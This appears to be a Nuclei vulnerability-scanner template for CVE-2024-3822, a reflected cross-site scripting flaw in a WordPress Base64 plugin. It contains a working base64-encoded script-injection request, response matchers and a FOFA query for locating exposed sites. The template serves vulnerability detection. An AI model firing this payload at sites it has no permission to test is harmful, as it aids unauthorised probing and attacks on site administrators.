The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
PoC代码[已公开]
id: CVE-2024-3822
info:
name: Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
author: omranisecurity
severity: medium
description: |
The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
reference:
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
- https://nvd.nist.gov/vuln/detail/CVE-2024-3822
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2024-3822
cwe-id: CWE-79
epss-score: 0.00374
epss-percentile: 0.58337
metadata:
verified: true
max-request: 1
fofa-query: "wp-content/plugins/base64-encoderdecoder/"
tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "<p><script>alert(\"document.domain\")</script></p>")'
condition: and
# digest: 4a0a0047304502202e5e5c94c94ac0d28a72d2ddb6cacca2f3768b5758ef5aae9920f65490a7ca62022100caa03f7ac8b35354f21cccc43a8be8201b9418f531cd98f8e1fc41438a8f7795:922c64590222798bb761d5b6d8e72950